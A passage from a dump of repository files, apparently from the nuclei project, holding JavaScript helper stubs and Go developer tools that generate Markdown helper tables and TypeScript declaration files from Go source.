* @function\n * @param {number} n - The length of the byte slice.\n */\nfunction Rand(n) {\n    // implemented in go\n};\n\n/**\n * RandInt returns a random int\n * RandInt() int\n * @function\n */\nfunction RandInt() {\n    // implemented in go\n};\n\n/**\n * log prints given input to stdout with [JS] prefix for debugging purposes\n * log(msg string)\n * log(msg map[string]interface{})\n * @function\n * @param {string|Object} msg - The message to print.\n */\nfunction log(msg) {\n    // implemented in go\n};\n\n/**\n * getNetworkPort registers defaultPort and returns defaultPort if it is a colliding port with other protocols\n * getNetworkPort(port string, defaultPort string) string\n * @function\n * @param {string} port - The port to check.\n * @param {string} defaultPort - The default port to return if the port is colliding.\n */\nfunction getNetworkPort(port, defaultPort) {\n    // implemented in go\n};\n\n/**\n * isPortOpen checks if given port is open on host. timeout is optional and defaults to 5 seconds\n * isPortOpen(host string, port string, [timeout int]) bool\n * @function\n * @param {string} host - The host to check.\n * @param {string} port - The port to check.\n * @param {number} [timeout=5] - The timeout in seconds.\n */\nfunction isPortOpen(host, port, timeout = 5) {\n    // implemented in go\n};\n\n/**\n * ToBytes converts given input to byte slice\n * ToBytes(...interface{}) []byte\n * @function\n * @param {...any} args - The input to convert.\n */\nfunction ToBytes(...args) {\n    // implemented in go\n};\n\n/**\n * ToString converts given input to string\n * ToString(...interface{}) string\n * @function\n * @param {...any} args - The input to convert.\n */\nfunction ToString(...args) {\n    // implemented in go\n};\n```"
  },
  {
    "path": "pkg/js/devtools/scrapefuncs/main.go",
    "content": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"go/ast\"\n\t\"go/parser\"\n\t\"go/token\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sort\"\n\t\"strings\"\n\n\t\"golang.org/x/exp/maps\"\n)\n\nvar (\n\tdir string\n\tout string\n)\n\ntype DSLHelperFunc struct {\n\tName        string\n\tDescription string\n\tSignatures  []string\n}\n\nvar pkg2NameMapping = map[string]string{\n\t\"code\":       \"Code Protocol\",\n\t\"javascript\": \"JavaScript Protocol\",\n\t\"global\":     \"Javascript Runtime\",\n\t\"compiler\":   \"Javascript Runtime\",\n\t\"flow\":       \"Template Flow\",\n}\n\nvar preferredOrder = []string{\"Javascript Runtime\", \"Template Flow\", \"Code Protocol\", \"JavaScript Protocol\"}\n\nfunc main() {\n\tflag.StringVar(&dir, \"dir\", \"pkg/\", \"directory to process\")\n\tflag.StringVar(&out, \"out\", \"\", \"output markdown file with helper file declarations\")\n\tflag.Parse()\n\n\tdirList := []string{}\n\n\tif err := filepath.WalkDir(dir, func(path string, d os.DirEntry, err error) error {\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif d.IsDir() {\n\t\t\tdirList = append(dirList, path)\n\t\t}\n\t\treturn nil\n\t}); err != nil {\n\t\tpanic(err)\n\t}\n\n\tdslHelpers := map[string][]DSLHelperFunc{}\n\n\t//for _, pkg := range pkgs {\n\tfor _, dir := range dirList {\n\t\tfset := token.NewFileSet()\n\t\tlist, err := os.ReadDir(dir)\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t\treturn\n\t\t}\n\n\t\tfor _, f := range list {\n\t\t\tif f.IsDir() {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif !strings.HasSuffix(f.Name(), \".go\") {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tastFile, err := parser.ParseFile(fset, filepath.Join(dir, f.Name()), nil, parser.AllErrors|parser.SkipObjectResolution)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(err)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tast.Inspect(astFile, func(n ast.Node) bool {\n\t\t\t\tswitch x := n.(type) {\n\t\t\t\tcase *ast.CallExpr:\n\t\t\t\t\tif sel, ok := x.Fun.(*ast.SelectorExpr); ok {\n\t\t\t\t\t\tif sel.Sel.Name == \"RegisterFuncWithSignature\" {\n\t\t\t\t\t\t\thf := DSLHelperFunc{}\n\t\t\t\t\t\t\tfor _, arg := range x.Args {\n\t\t\t\t\t\t\t\tif kv, ok := arg.(*ast.CompositeLit); ok {\n\t\t\t\t\t\t\t\t\tfor _, elt := range kv.Elts {\n\t\t\t\t\t\t\t\t\t\tif kv, ok := elt.(*ast.KeyValueExpr); ok {\n\t\t\t\t\t\t\t\t\t\t\tkey := kv.Key.(*ast.Ident).Name\n\t\t\t\t\t\t\t\t\t\t\tswitch key {\n\t\t\t\t\t\t\t\t\t\t\tcase \"Name\":\n\t\t\t\t\t\t\t\t\t\t\t\thf.Name = strings.Trim(kv.Value.(*ast.BasicLit).Value, `\"`)\n\t\t\t\t\t\t\t\t\t\t\tcase \"Description\":\n\t\t\t\t\t\t\t\t\t\t\t\thf.Description = strings.Trim(kv.Value.(*ast.BasicLit).Value, `\"`)\n\t\t\t\t\t\t\t\t\t\t\tcase \"Signatures\":\n\t\t\t\t\t\t\t\t\t\t\t\tif comp, ok := kv.Value.(*ast.CompositeLit); ok {\n\t\t\t\t\t\t\t\t\t\t\t\t\tfor _, signature := range comp.Elts {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\thf.Signatures = append(hf.Signatures, strings.Trim(signature.(*ast.BasicLit).Value, `\"`))\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif hf.Name != \"\" {\n\t\t\t\t\t\t\t\tidentifier := pkg2NameMapping[astFile.Name.Name]\n\t\t\t\t\t\t\t\tif identifier == \"\" {\n\t\t\t\t\t\t\t\t\tidentifier = astFile.Name.Name + \"  (\" + dir + \")\"\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif dslHelpers[identifier] == nil {\n\t\t\t\t\t\t\t\t\tdslHelpers[identifier] = []DSLHelperFunc{}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tdslHelpers[identifier] = append(dslHelpers[identifier], hf)\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn true\n\t\t\t})\n\t\t}\n\t}\n\n\t// DSL Helper functions stats\n\tfor pkg, funcs := range dslHelpers {\n\t\tfmt.Printf(\"Found %d DSL Helper functions in package %s\\n\", len(funcs), pkg)\n\t}\n\n\t// Generate Markdown tables with ## as package name\n\tif out != \"\" {\n\t\tvar sb strings.Builder\n\t\tsb.WriteString(`---\ntitle: \"Javascript Helper Functions\"\ndescription: \"Available JS Helper Functions that can be used in global js runtime & protocol specific helpers.\"\nicon: \"function\"\niconType: \"solid\"\n---\n\n\n`)\n\n\t\tactualKeys := maps.Keys(dslHelpers)\n\t\tsort.Slice(actualKeys, func(i, j int) bool {\n\t\t\tfor _, preferredKey := range preferredOrder {\n\t\t\t\tif actualKeys[i] == preferredKey {\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t\tif actualKeys[j] == preferredKey {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn actualKeys[i] < actualKeys[j]\n\t\t})\n\n\t\tfor _, v := range actualKeys {\n\t\t\tpkg := v\n\t\t\tfuncs := dslHelpers[pkg]\n\t\t\tsb.WriteString(\"## \" + pkg + \"\\n\\n\")\n\t\t\tsb.WriteString(\"| Name | Description | Signatures |\\n\")\n\t\t\tsb.WriteString(\"|------|-------------|------------|\\n\")\n\t\t\tfor _, f := range funcs {\n\t\t\t\tsigSlice := []string{}\n\t\t\t\tfor _, sig := range f.Signatures {\n\t\t\t\t\tsigSlice = append(sigSlice, \"`\"+sig+\"`\")\n\t\t\t\t}\n\t\t\t\tfmt.Fprintf(&sb, \"| %s | %s | %s |\\n\", f.Name, f.Description, strings.Join(sigSlice, \", \"))\n\t\t\t}\n\t\t\tsb.WriteString(\"\\n\")\n\t\t}\n\n\t\tif err := os.WriteFile(out, []byte(sb.String()), 0644); err != nil {\n\t\t\tfmt.Println(err)\n\t\t\treturn\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "pkg/js/devtools/tsgen/README.md",
    "content": "# tsgen\n\ntsgen is devtool to generate dummy typescript code for goja node modules written in golang. These generated typescript code can be compiled to generate .d.ts files to provide intellisense to editors like vscode and documentation for the node modules."
  },
  {
    "path": "pkg/js/devtools/tsgen/astutil.go",
    "content": "package tsgen\n\nimport (\n\t\"fmt\"\n\t\"go/ast\"\n\t\"strings\"\n)\n\n// isExported checks if the given name is exported\nfunc isExported(name string) bool {\n\treturn ast.IsExported(name)\n}\n\n// exprToString converts an expression to a string\nfunc exprToString(expr ast.Expr) string {\n\tswitch t := expr.(type) {\n\tcase *ast.Ident:\n\t\treturn toTsTypes(t.Name)\n\tcase *ast.SelectorExpr:\n\t\treturn exprToString(t.X) + \".\" + t.Sel.Name\n\tcase *ast.StarExpr:\n\t\treturn exprToString(t.X)\n\tcase *ast.ArrayType:\n\t\treturn toTsTypes(\"[]\" + exprToString(t.Elt))\n\tcase *ast.InterfaceType:\n\t\treturn \"interface{}\"\n\tcase *ast.MapType:\n\t\treturn \"Record<\" + toTsTypes(exprToString(t.Key)) + \", \" + toTsTypes(exprToString(t.Value)) + \">\"\n\t// Add more cases to handle other types\n\tdefault:\n\t\treturn fmt.Sprintf(\"%T\", expr)\n\t}\n}\n\n// toTsTypes converts Go types to TypeScript types\nfunc toTsTypes(t string) string {\n\tif strings.Contains(t, \"interface{}\") {\n\t\treturn \"any\"\n\t}\n\tif strings.HasPrefix(t, \"map[\") {\n\t\treturn convertMaptoRecord(t)\n\t}\n\tswitch t {\n\tcase \"string\":\n\t\treturn \"string\"\n\tcase \"int\", \"int8\", \"int16\", \"int32\", \"int64\", \"uint\", \"uint8\", \"uint16\", \"uint32\", \"uint64\":\n\t\treturn \"number\"\n\tcase \"float32\", \"float64\":\n\t\treturn \"number\"\n\tcase \"bool\":\n\t\treturn \"boolean\"\n\tcase \"[]byte\":\n\t\treturn \"Uint8Array\"\n\tcase \"interface{}\":\n\t\treturn \"any\"\n\tcase \"time.Duration\":\n\t\treturn \"number\"\n\tcase \"time.Time\":\n\t\treturn \"Date\"\n\tdefault:\n\t\tif strings.HasPrefix(t, \"[]\") {\n\t\t\treturn toTsTypes(strings.TrimPrefix(t, \"[]\")) + \"[]\"\n\t\t}\n\t\treturn t\n\t}\n}\n\nfunc TsDefaultValue(t string) string {\n\tswitch t {\n\tcase \"string\":\n\t\treturn `\"\"`\n\tcase \"number\":\n\t\treturn `0`\n\tcase \"boolean\":\n\t\treturn `false`\n\tcase \"Uint8Array\":\n\t\treturn `new Uint8Array(8)`\n\tcase \"any\":\n\t\treturn `undefined`\n\tcase \"interface{}\":\n\t\treturn `undefined`\n\tdefault:\n\t\tif strings.Contains(t, \"[]\") {\n\t\t\treturn `[]`\n\t\t}\n\t\treturn \"new \" + t + \"()\"\n\t}\n}\n\n// Ternary is a ternary operator for strings\nfunc Ternary(condition bool, trueVal, falseVal string) string {\n\tif condition {\n\t\treturn trueVal\n\t}\n\treturn falseVal\n}\n\n// checkCanFail checks if a function can fail\nfunc checkCanFail(fn *ast.FuncDecl) bool {\n\tif fn.Type.Results != nil {\n\t\tfor _, result := range fn.Type.Results.List {\n\t\t\t// Check if any of the return types is an error\n\t\t\tif ident, ok := result.Type.(*ast.Ident); ok && ident.Name == \"error\" {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\treturn false\n}\n"
  },
  {
    "path": "pkg/js/devtools/tsgen/cmd/tsgen/main.go",
    "content": "package main\n\nimport (\n\t\"bytes\"\n\t_ \"embed\"\n\t\"flag\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sort\"\n\t\"strings\"\n\t\"text/template\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/devtools/tsgen\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n)\n\n// Define your template\n//\n//go:embed tsmodule.go.tmpl\nvar tsTemplate string\n\nvar (\n\tsource string\n\tout    string\n)\n\nfunc main() {\n\tflag.StringVar(&source, \"dir\", \"\", \"Directory to parse\")\n\tflag.StringVar(&out, \"out\", \"src\", \"Typescript files Output directory\")\n\tflag.Parse()\n\n\t// Create an instance of the template\n\ttmpl := template.New(\"ts\")\n\ttmpl = tmpl.Funcs(template.FuncMap{\n\t\t\"splitLines\": func(s string) []string {\n\t\t\ttmp := strings.Split(s, \"\\n\")\n\t\t\tfiltered := []string{}\n\t\t\tfor _, line := range tmp {\n\t\t\t\tif strings.TrimSpace(line) != \"\" {\n\t\t\t\t\tfiltered = append(filtered, line)\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn filtered\n\t\t},\n\t})\n\tvar err error\n\ttmpl, err = tmpl.Parse(tsTemplate)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Create the output directory\n\t_ = fileutil.CreateFolder(out)\n\n\tdirs := []string{}\n\t_ = filepath.WalkDir(source, func(path string, d os.DirEntry, err error) error {\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// only load module directory skip root directory\n\t\tif d.IsDir() {\n\t\t\tfiles, _ := os.ReadDir(path)\n\t\t\tfor _, file := range files {\n\t\t\t\tif !file.IsDir() && strings.HasSuffix(file.Name(), \".go\") {\n\t\t\t\t\tdirs = append(dirs, path)\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n\n\t// walk each directory\n\tfor _, dir := range dirs {\n\t\tentityList := []tsgen.Entity{}\n\t\tep, err := tsgen.NewEntityParser(dir)\n\t\tif err != nil {\n\t\t\tpanic(fmt.Errorf(\"could not create entity parser: %s\", err))\n\t\t}\n\t\tif err := ep.Parse(); err != nil {\n\t\t\tpanic(fmt.Errorf(\"could not parse entities: %s\", err))\n\t\t}\n\t\tentityList = append(entityList, ep.GetEntities()...)\n\t\tentityList = sortEntities(entityList)\n\t\tvar buff bytes.Buffer\n\t\terr = tmpl.Execute(&buff, entityList)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tmoduleName := filepath.Base(dir)\n\t\tgologger.Info().Msgf(\"Writing %s.ts\", moduleName)\n\t\t// create appropriate directory if missing\n\t\t// _ = fileutil.CreateFolder(filepath.Join(out, moduleName))\n\t\t_ = os.WriteFile(filepath.Join(out, moduleName)+\".ts\", buff.Bytes(), 0755)\n\t}\n\n\t// generating index.ts file\n\tvar buff bytes.Buffer\n\tfor _, dir := range dirs {\n\t\tfmt.Fprintf(&buff, \"export * as %s from './%s';\\n\", filepath.Base(dir), filepath.Base(dir))\n\t}\n\t_ = os.WriteFile(filepath.Join(out, \"index.ts\"), buff.Bytes(), 0755)\n}\n\nfunc sortEntities(entities []tsgen.Entity) []tsgen.Entity {\n\tsort.Slice(entities, func(i, j int) bool {\n\t\tif entities[i].Type != entities[j].Type {\n\t\t\t// Define the order of types\n\t\t\torder := map[string]int{\"function\": 1, \"class\": 2, \"interface\": 3}\n\t\t\treturn order[entities[i].Type] < order[entities[j].Type]\n\t\t}\n\t\t// If types are the same, sort by name\n\t\treturn entities[i].Name < entities[j].Name\n\t})\n\treturn entities\n}\n"
  },
  {
    "path": "pkg/js/devtools/tsgen/cmd/tsgen/tsmodule.go.tmpl",
    "content": "{{- range .}}\n\n{{ if eq .Type \"const\" -}}\n{{ if .Description }}/** {{ .Description }} */{{- end }}\nexport const {{ .Name }} = {{ .Value }};\n{{- else if eq .Type \"class\" -}}\n/**\n{{- range (splitLines .Description) }}\n * {{ . }}\n{{- end }}\n */\nexport class {{ .Name }} {\n    {{\"\\n\"}}\n    {{- range $property := .Class.Properties }}\n    {{ if .Description }}\n    /**\n    {{- range (splitLines $property.Description) }}\n    * {{ . }}\n    {{- end }}\n    */\n    {{ end }}\n    public {{ $property.Name }}?: {{ $property.Type }};\n    {{\"\\n\"}}\n    {{- end }}\n    // Constructor of {{ .Name}}\n    {{- if eq (len .Class.Constructor.Parameters) 0 }}\n    constructor() {}\n    {{- else }}\n    constructor(\n        {{- range $index, $param := .Class.Constructor.Parameters }}\n        {{- if $index }}, {{ end }}{{ $param.Name }}: {{ $param.Type }}\n        {{- end }} ) {}\n    {{\"\\n\"}}\n    {{- end }}\n    \n    {{- range $method := .Class.Methods }}\n    /**\n    {{- range (splitLines $method.Description) }}\n    * {{ . }}\n    {{- end }}\n    */\n    public {{ $method.Name }}({{ range $index, $element := $method.Parameters }}{{ if $index }}, {{ end }}{{ $element.Name }}: {{ $element.Type }}{{ end }}): {{ $method.Returns }} {\n        {{ $method.ReturnStmt }}\n    }\n    {{\"\\n\"}}\n    {{- end }}\n}\n\n{{ else if eq .Type \"function\" -}}\n/**\n{{- range (splitLines .Description) }}\n * {{ . }}\n{{- end }}\n */\nexport function {{ .Name }}({{ range $index, $element := .Function.Parameters }}{{ if $index }}, {{ end }}{{ $element.Name }}: {{ $element.Type }}{{ end }}): {{ .Function.Returns }} {\n    {{ .Function.ReturnStmt }}\n}\n\n{{ else if eq .Type \"interface\" -}}\n/**\n{{- range (splitLines .Description) }}\n * {{ . }}\n{{- end }}\n */\nexport interface {{ .Name }} {\n    {{- range $property := .Object.Properties }}\n    {{ if .Description }}\n    /**\n    {{- range (splitLines .Description) }}\n    * {{ . }}\n    {{- end }}\n    */\n    {{ end }}\n    {{ $property.Name }}?: {{ $property.Type }},\n    {{- end }}\n}\n\n{{ end }}\n{{- end }}"
  },
  {
    "path": "pkg/js/devtools/tsgen/parser.go",
    "content": "package tsgen\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"go/ast\"\n\t\"go/parser\"\n\t\"go/token\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n\t\"golang.org/x/tools/go/packages\"\n)\n\n// EntityParser is responsible for parsing a go file and generating\n// corresponding typescript entities.\ntype EntityParser struct {\n\tsyntax      []*ast.File\n\tstructTypes map[string]Entity\n\timports     map[string]*packages.Package\n\tnewObjects  map[string]*Entity // new objects to create from external packages\n\tvars        []Entity\n\tentities    []Entity\n}\n\n// NewEntityParser creates a new EntityParser\nfunc NewEntityParser(dir string) (*EntityParser, error) {\n\n\tcfg := &packages.Config{\n\t\tMode: packages.NeedName | packages.NeedFiles | packages.NeedImports |\n\t\t\tpackages.NeedTypes | packages.NeedSyntax | packages.NeedTypes |\n\t\t\tpackages.NeedModule | packages.NeedTypesInfo,\n\t\tTests: false,\n\t\tDir:   dir,\n\t\tParseFile: func(fset *token.FileSet, filename string, src []byte) (*ast.File, error) {\n\t\t\treturn parser.ParseFile(fset, filename, src, parser.ParseComments)\n\t\t},\n\t}\n\tpkgs, err := packages.Load(cfg, \".\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(pkgs) == 0 {\n\t\treturn nil, errors.New(\"no packages found\")\n\t}\n\tpkg := pkgs[0]\n\n\treturn &EntityParser{\n\t\tsyntax:      pkg.Syntax,\n\t\tstructTypes: map[string]Entity{},\n\t\timports:     map[string]*packages.Package{},\n\t\tnewObjects:  map[string]*Entity{},\n\t}, nil\n}\n\nfunc (p *EntityParser) GetEntities() []Entity {\n\treturn p.entities\n}\n\n// Parse parses the given file and generates corresponding typescript entities\nfunc (p *EntityParser) Parse() error {\n\tp.extractVarsNConstants()\n\t// extract all struct types from the AST\n\tp.extractStructTypes()\n\t// load all imported packages\n\tif err := p.loadImportedPackages(); err != nil {\n\t\treturn err\n\t}\n\n\tfor _, file := range p.syntax {\n\t\t// Traverse the AST and find all relevant declarations\n\t\tast.Inspect(file, func(n ast.Node) bool {\n\t\t\t// look for functions and methods\n\t\t\t// and generate entities for them\n\t\t\tfn, ok := n.(*ast.FuncDecl)\n\t\t\tif ok {\n\t\t\t\tif !isExported(fn.Name.Name) {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tentity, err := p.extractFunctionFromNode(fn)\n\t\t\t\tif err != nil {\n\t\t\t\t\tgologger.Error().Msgf(\"Could not extract function %s: %s\\n\", fn.Name.Name, err)\n\t\t\t\t\treturn false\n\t\t\t\t}\n\n\t\t\t\tif entity.IsConstructor {\n\t\t\t\t\t// add this to the list of entities\n\t\t\t\t\tp.entities = append(p.entities, entity)\n\t\t\t\t\treturn false\n\t\t\t\t}\n\n\t\t\t\t// check if function has a receiver\n\t\t\t\tif fn.Recv != nil {\n\t\t\t\t\t// get the name of the receiver\n\t\t\t\t\treceiverName := exprToString(fn.Recv.List[0].Type)\n\t\t\t\t\t// check if the receiver is a struct\n\t\t\t\t\tif _, ok := p.structTypes[receiverName]; ok {\n\t\t\t\t\t\t// add the method to the class\n\t\t\t\t\t\tmethod := Method{\n\t\t\t\t\t\t\tName:        entity.Name,\n\t\t\t\t\t\t\tDescription: strings.ReplaceAll(entity.Description, \"Function\", \"Method\"),\n\t\t\t\t\t\t\tParameters:  entity.Function.Parameters,\n\t\t\t\t\t\t\tReturns:     entity.Function.Returns,\n\t\t\t\t\t\t\tCanFail:     entity.Function.CanFail,\n\t\t\t\t\t\t\tReturnStmt:  entity.Function.ReturnStmt,\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// add this method to corresponding class\n\t\t\t\t\t\tallMethods := p.structTypes[receiverName].Class.Methods\n\t\t\t\t\t\tif allMethods == nil {\n\t\t\t\t\t\t\tallMethods = []Method{}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tentity = p.structTypes[receiverName]\n\t\t\t\t\t\tentity.Class.Methods = append(allMethods, method)\n\t\t\t\t\t\tp.structTypes[receiverName] = entity\n\t\t\t\t\t\treturn false\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// add the function to the list of global entities\n\t\t\t\tp.entities = append(p.entities, entity)\n\t\t\t\treturn false\n\t\t\t}\n\n\t\t\treturn true\n\t\t})\n\t}\n\n\tfor _, file := range p.syntax {\n\t\tast.Inspect(file, func(n ast.Node) bool {\n\t\t\t// logic here to extract all fields and methods from a struct\n\t\t\t// and add them to the entities slice\n\t\t\t// TODO: we only support structs and not type aliases\n\t\t\ttypeSpec, ok := n.(*ast.TypeSpec)\n\t\t\tif ok {\n\t\t\t\tif !isExported(typeSpec.Name.Name) {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tstructType, ok := typeSpec.Type.(*ast.StructType)\n\t\t\t\tif !ok {\n\t\t\t\t\t// This is not a struct, so continue traversing the AST\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tentity := Entity{\n\t\t\t\t\tName:        typeSpec.Name.Name,\n\t\t\t\t\tType:        \"class\",\n\t\t\t\t\tDescription: Ternary(strings.TrimSpace(typeSpec.Doc.Text()) != \"\", typeSpec.Doc.Text(), typeSpec.Name.Name+\" Class\"),\n\t\t\t\t\tClass: Class{\n\t\t\t\t\t\tProperties: p.extractClassProperties(structType),\n\t\t\t\t\t},\n\t\t\t\t}\n\t\t\t\t// map struct name to entity and create a new entity if doesn't exist\n\t\t\t\tif _, ok := p.structTypes[typeSpec.Name.Name]; ok {\n\t\t\t\t\tentity.Class.Methods = p.structTypes[typeSpec.Name.Name].Class.Methods\n\t\t\t\t\tentity.Description = p.structTypes[typeSpec.Name.Name].Description\n\t\t\t\t\tp.structTypes[typeSpec.Name.Name] = entity\n\t\t\t\t} else {\n\t\t\t\t\tp.structTypes[typeSpec.Name.Name] = entity\n\t\t\t\t}\n\t\t\t\treturn false\n\t\t\t}\n\t\t\t// Continue traversing the AST\n\t\t\treturn true\n\t\t})\n\t}\n\n\t// add all struct types to the list of global entities\n\tfor k, v := range p.structTypes {\n\t\tif v.Type == \"class\" && len(v.Class.Methods) > 0 {\n\t\t\tp.entities = append(p.entities, v)\n\t\t} else if v.Type == \"class\" && len(v.Class.Methods) == 0 {\n\t\t\tif k == \"Object\" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tentity := Entity{\n\t\t\t\tName:        k,\n\t\t\t\tType:        \"interface\",\n\t\t\t\tDescription: strings.TrimSpace(strings.ReplaceAll(v.Description, \"Class\", \"interface\")),\n\t\t\t\tObject: Interface{\n\t\t\t\t\tProperties: v.Class.Properties,\n\t\t\t\t},\n\t\t\t}\n\t\t\tp.entities = append(p.entities, entity)\n\t\t}\n\t}\n\n\t// handle external structs\n\tfor k := range p.newObjects {\n\t\t// if k == \"Object\" {\n\t\t// \tcontinue\n\t\t// }\n\t\tif err := p.scrapeAndCreate(k); err != nil {\n\t\t\treturn fmt.Errorf(\"could not scrape and create new object: %s\", err)\n\t\t}\n\t}\n\n\tinterfaceList := map[string]struct{}{}\n\tfor _, v := range p.entities {\n\t\tif v.Type == \"interface\" {\n\t\t\tinterfaceList[v.Name] = struct{}{}\n\t\t}\n\t}\n\n\t// handle method return types\n\tfor index, v := range p.entities {\n\t\tif len(v.Class.Methods) > 0 {\n\t\t\tfor i, method := range v.Class.Methods {\n\t\t\t\tif !strings.Contains(method.Returns, \"null\") {\n\t\t\t\t\tx := strings.TrimSpace(method.Returns)\n\t\t\t\t\tif _, ok := interfaceList[x]; ok {\n\t\t\t\t\t\t// non nullable interface return type detected\n\t\t\t\t\t\tmethod.Returns = x + \" | null\"\n\t\t\t\t\t\tmethod.ReturnStmt = \"return null;\"\n\t\t\t\t\t\tp.entities[index].Class.Methods[i] = method\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// handle constructors\n\tfor _, v := range p.entities {\n\t\tif v.IsConstructor {\n\n\t\t\t// correlate it with the class\n\t\tfoundStruct:\n\t\t\tfor i, class := range p.entities {\n\t\t\t\tif class.Type != \"class\" {\n\t\t\t\t\tcontinue foundStruct\n\t\t\t\t}\n\t\t\t\tif strings.Contains(v.Name, class.Name) {\n\t\t\t\t\t// add constructor to the class\n\t\t\t\t\tp.entities[i].Class.Constructor = v.Function\n\t\t\t\t\tbreak foundStruct\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tfiltered := []Entity{}\n\tfor _, v := range p.entities {\n\t\tif !v.IsConstructor {\n\t\t\tfiltered = append(filtered, v)\n\t\t}\n\t}\n\n\t// add all vars and constants\n\tfiltered = append(filtered, p.vars...)\n\n\tp.entities = filtered\n\treturn nil\n}\n\n// extractPropertiesFromStruct extracts all properties from the given struct\nfunc (p *EntityParser) extractClassProperties(node *ast.StructType) []Property {\n\tvar properties []Property\n\n\tfor _, field := range node.Fields.List {\n\t\t// Skip unexported fields\n\t\tif len(field.Names) > 0 && !field.Names[0].IsExported() {\n\t\t\tcontinue\n\t\t}\n\n\t\t// Get the type of the field as a string\n\t\ttypeString := exprToString(field.Type)\n\n\t\t// If the field is anonymous (embedded), use the type name as the field name\n\t\tif len(field.Names) == 0 {\n\t\t\tif ident, ok := field.Type.(*ast.Ident); ok {\n\t\t\t\tproperties = append(properties, Property{\n\t\t\t\t\tName:        ident.Name,\n\t\t\t\t\tType:        typeString,\n\t\t\t\t\tDescription: field.Doc.Text(),\n\t\t\t\t})\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\t// Iterate through all names (for multiple names in a single declaration)\n\t\tfor _, fieldName := range field.Names {\n\t\t\t// Only consider exported fields\n\t\t\tif fieldName.IsExported() {\n\t\t\t\tproperty := Property{\n\t\t\t\t\tName:        fieldName.Name,\n\t\t\t\t\tType:        typeString,\n\t\t\t\t\tDescription: field.Doc.Text(),\n\t\t\t\t}\n\t\t\t\tif strings.Contains(property.Type, \".\") {\n\t\t\t\t\t// external struct found\n\t\t\t\t\tproperty.Type = p.handleExternalStruct(property.Type)\n\t\t\t\t}\n\t\t\t\tproperties = append(properties, property)\n\t\t\t}\n\t\t}\n\t}\n\treturn properties\n}\n\nvar (\n\tconstructorRe         = `(constructor\\([^)]*\\))`\n\tconstructorReCompiled = regexp.MustCompile(constructorRe)\n)\n\n// extractFunctionFromNode extracts a function from the given AST node\nfunc (p *EntityParser) extractFunctionFromNode(fn *ast.FuncDecl) (Entity, error) {\n\tentity := Entity{\n\t\tName:        fn.Name.Name,\n\t\tType:        \"function\",\n\t\tDescription: Ternary(strings.TrimSpace(fn.Doc.Text()) != \"\", fn.Doc.Text(), fn.Name.Name+\" Function\"),\n\t\tFunction: Function{\n\t\t\tParameters: p.extractParameters(fn),\n\t\t\tReturns:    p.extractReturnType(fn),\n\t\t\tCanFail:    checkCanFail(fn),\n\t\t},\n\t}\n\t// check if it is a constructor\n\tif strings.Contains(entity.Function.Returns, \"Object\") && len(entity.Function.Parameters) == 2 {\n\t\t// this is a constructor defined that accepts something as input\n\t\t// get constructor signature from comments\n\t\tconstructorSig := constructorReCompiled.FindString(entity.Description)\n\t\tentity.IsConstructor = true\n\t\tentity.Function = updateFuncWithConstructorSig(constructorSig, entity.Function)\n\t\treturn entity, nil\n\t}\n\n\t// fix/adjust return statement\n\tif entity.Function.Returns == \"void\" {\n\t\tentity.Function.ReturnStmt = \"return;\"\n\t} else if strings.Contains(entity.Function.Returns, \"null\") {\n\t\tentity.Function.ReturnStmt = \"return null;\"\n\t} else if fn.Recv != nil && exprToString(fn.Recv.List[0].Type) == entity.Function.Returns {\n\t\tentity.Function.ReturnStmt = \"return this;\"\n\t} else {\n\t\tentity.Function.ReturnStmt = \"return \" + TsDefaultValue(entity.Function.Returns) + \";\"\n\t}\n\treturn entity, nil\n}\n\n// extractReturnType extracts the return type from the given function\nfunc (p *EntityParser) extractReturnType(fn *ast.FuncDecl) (out string) {\n\tdefer func() {\n\t\tif out == \"\" {\n\t\t\tout = 